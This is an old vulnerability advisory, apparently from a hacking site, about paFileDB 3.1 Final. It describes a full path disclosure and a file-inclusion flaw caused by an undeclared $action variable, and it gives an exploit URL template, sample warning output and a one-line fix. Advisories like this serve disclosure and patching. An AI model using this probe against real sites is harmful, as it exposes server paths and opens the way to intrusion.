[Persianhacker.net] Full Path Disclosure and PHP Injection In Pafiledb 3.1 Final

PafileDB 
paFileDB is designed to allow webmasters have a database of files for download 
on their site. To add a download, all you do is upload the file using FTP or 
whatever method you use, log into paFileDB's admin center, and fill out a form 
to add a file. paFileDB lets you edit and delete the files too. No more messing 
with a bunch of HTML pages for a file database on your site! Using speedy MySQL 
for storing data, and powerful PHP for processing everything, paFileDB is one 
of the best and easiest ways to manage files!

Discussion: 
--------------------
What is the bug ?
There is a Full Path Disclosure vulnerability in Pafiledb 3.1 which ends to 
disclosure of page local location on the web server.There is nother bug which 
let`s h4cK3r inject php codes and run them on server.

Where is the bug ?
At line 25 of pafiledb.php :

[
if ($login == "do") { include "./includes/$action/login.php"; exit; }
]

as we see $action is used in above statement and it`s not declared yet so 
h4ck3r can use it for PHP Injection attacks by passing his malicouse string 
from URL .


Exploit:
--------------------
[
http://www.example.com/pafiledb.php?login=do&action=[value]
]

which includes PHP codes in :

[
./includes/[value]/login.php
]

and if PHP page doesn`t realy exist at that address , server returns warring 
page like this :

[

Warning: main(./includes/value/login.php): failed to open stream: No such file 
or directory in /home/host/public_html/downloads/pafiledb.php on line 25

Warning: main(./includes/value/login.php): failed to open stream: No such file 
or directory in /home/host/public_html/downloads/pafiledb.php on line 25

Warning: main(): Failed opening './includes/value/login.php' for inclusion 
(include_path='.:/usr/lib/php:/usr/local/lib/php') in 
/home/host/public_html/downloads/pafiledb.php on line 25

]

and this message shows local address of pafiledb.php on server.


Solution:
--------------------
just remove line 25 of pafiledb.php ,there is no need for that line ( I wonder 
why coder ever used that ? ).
